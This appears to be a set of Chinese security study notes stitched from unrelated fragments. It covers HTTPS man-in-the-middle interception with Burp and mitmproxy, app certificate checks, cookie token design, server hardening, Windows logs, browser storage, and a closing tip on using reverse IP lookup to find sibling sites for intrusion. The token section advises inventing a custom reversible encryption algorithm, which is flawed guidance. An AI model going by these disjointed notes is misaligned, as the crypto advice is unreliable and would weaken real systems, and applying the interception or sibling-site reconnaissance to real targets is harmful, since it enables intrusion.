如果客户端对证书链做了校验,那么攻击难度就会上升一个层次,此时需要人为的信任伪造的证书或者安装伪造的 CA 公钥证书从而间接信任伪造的证书,可以使用 burp 的如下模块进行中间人攻击。
可以看见浏览器是会报警告的,因为 burp 的根证书 PortSwigger CA 并不在浏览器可信任列表内,所以由它作为根证书签发的证书都是不能通过浏览器的证书校验的,如果将 PortSwigger CA 导入系统设置为可信任证书,那么浏览器将不会有任何警告。
手机客户端 Https 数据包抓取上述第一、二种情况不多加赘述,第三种情况就是我们经常使用的抓手机应用https 数据包的方法,即导入代理工具的公钥证书到手机里,再进行 https 数据包的抓取。导入手机的公钥证书在 android 平台上称之为受信任的凭据,可以看见是 Issuer 和 Subject 一样的自签名 CA 公钥证书,另外我们也可以通过证书类型就可以知道此为公钥证书,crt、der 格式的证书不支持存储私钥或证书路径(有兴趣的同学可查找证书相关信息)。导入 CA 公钥证书之后,参考上文的证书校验过程不难发现通过此方式能通过证书链校验,从而形成中间人攻击,客户端使用代理工具的公钥证书加密随机数,代理工具使用私钥解密并计算得到对称加密密钥,再对数据包进行解密即可抓取明文数据包。
(4)中间人攻击原理
一直在说中间人攻击,那么中间人攻击到底是怎么进行的呢,下面我们通过一个流行的 MITM 开源库 mitmproxy 来分析中间人攻击的原理。中间人攻击的关键在于 https 握手过程的 ClientKeyExchange,由于 pre key 交换的时候是使用服务器证书里的公钥进行加密,如果用的伪造证书的公钥,那么中间人就可以解开该密文得到 pre_master_secret 计算出用于对称加密算法的 master_key,从而获取到客户端发送的数据;然后中间人代理工具再使用其和服务端的master_key 加密传输给服务端;同样的服务器返回给客户端的数据也是经过中
间人解密再加密,于是完整的 https 中间人攻击过程就形成了,一图胜千言,来吧。
(5)App 证书校验
通过上文第一和第二部分的说明,相信大家已经对 https 有个大概的了解了,那么问题来了,怎样才能防止这些“中间人攻击”呢?
app 证书校验已经是一个老生常谈的问题了,但是市场上还是有很多的 app 未做好证书校验,有些只做了部分校验,例如检查证书域名是否匹配证书是否过期,更多数的是根本就不做校验,于是就造成了中间人攻击。做证书校验需要做完全,只做一部分都会导致中间人攻击,对于安全要求并不是特别高的 app 可使用如下校验方式:查看证书是否过期 服务器证书上的域名是否和服务器的实际域名相匹配,校验证书链。
如果您在 cookie 中设置了 HttpOnly 属性,那么通过 js 脚本将无法读取到cookie 信息,这样能有效的防止 XSS 攻击
http://blog.sina.com.cn/s/blog_90cbd0ab0101ew0p.html
这种技术其实就是基于 cookie 的自动登录,用户登录的时候会把需要验证的token 写到 cookie 里面,当用户 session 失效的时候,token 会通过 cookie 发送给服务器端,服务器端解析 token 判断是否已经登录;这里面的 token 如何设计是关键,到底存什么数据才能保证系统的安全性呢?
有些新手可能会想,把用户 id 和 password 直接 md5 加密存到 cookie,这样做是最糟糕的设计,用户的敏感信息直接暴露出来,黑客可以伪造别人的 id 进行尝试性登录,可以想象黑客知道了 admin 账号的 id,试过几千几万次,密码和加密算法很可能破解出来。
token 要相对安全,不应该是简单的用户名和密码 md5 加密,用户密码其实完
全可以不用存进去,分两步来做:
1)token 是一些信息的组合,用户 id+用户名+expires 过期时间+ip 地址+salt,具体加密算法最好自己写,不能使是常见的加密函数(md5),当然这 个加密函数必须可逆,这个 token 我们同时要保存在用户表数据库里面,set cookie 的时候记得 http only;
2) 服务器端拿到 cookie 之后,进行逆解析,这个时候我们要验证如下信息:
cookie 是否过期、ip 地址是否发生变化、用户 id 和用户名是否存在;用户 存在之后,我们再拿这个 token 跟第一步存在数据库中的 token 进行比较,看是否相等,如果不等说明 token 已经过期,这样做可保证每次用户登录之 后 token值都不一样,之前用过的 token 都会失效;
SSH 为 Secure Shell 的缩写,由 IETF 的网络小组(Network Working Group)
所制定;SSH 为建立在应用层基础上的安全协议。SSH 是目前较可靠,专为远程登录会话和其他网络服务提供安全性的协议。利用 SSH 协议可以有效防止远程管理过程中的信息泄露问题。
停止运行不需要的软件;(很可能成为外部攻击的入口)定期实施漏洞防范措施;(选定软件时确认软件的升级状况,确定打补丁方式,关注各种漏洞信息,确认漏洞后调查补丁状况以及防范对策,并制定对应计划)对不需要对外公开的端口或者服务加以访问限制;(通过端口扫描确认各端口服务状态)提高认证强度。
windows7 的日志信息文件存放在 C:windows-》System32-》winevt-》Logs文件夹下,对应的日志文件也有很多,并且文件格式都是 evtx 格式的文件,直接用 Eventvwr.msc 这个命令启用事件查看器来查看即可。
或者点击开始然后单击控制面板进入 win7 控制面板,单击“系统和安全”选项。在右下方找到“查看事件日志”进入 windows 系统日志查看器。
在日志查看器左侧可以选择查看不同类型日志,一般系统报错应该在“windows 日志/系统”中找相关信息。双击单条日志可以查看详细信息,而右侧栏可以对日志进行删除、复制等操作。
http://www.cnblogs.com/tylerdonet/p/4833681.html
http://www.2cto.com/article/201505/401601.html
localStorage 和 sessionStorage 一样都是用来存储客户端临时信息的对象。他们均只能存储字符串类型的对象(虽然规范中可以存储其他原生类型的对象,但是目前为止没有浏览器对其进行实现)。
localStorage 生命周期是永久,这意味着除非用户显示在浏览器提供的 UI 上清除 localStorage 信息,否则这些信息将永远存在。
sessionStorage 生命周期为当前窗口或标签页,一旦窗口或标签页被永久关闭了,那么所有通过 sessionStorage 存储的数据也就被清空了。
不同浏览器无法共享 localStorage 或 sessionStorage 中的信息。相同浏览器的不同页面间可以共享相同的 localStorage(页面属于相同域名和端口),但是不同页面或标签页间无法共享 sessionStorage 的信息。这里需要注意的是,页面及标 签页仅指顶级窗口,如果一个标签页包含多个 iframe 标签且他们属于同源页面,那么他们之间是可以共享 sessionStorage 的。
百度 域名查找 IP 打开可行的网页,在里面输入目标域名,搜索出服务器的 IP,然后百度 IP 反查域名 选择一个可行的网页打开,输入刚刚查询到的 IP,旁站就通通出来了。
目标站没法子入侵不代表旁站也一样。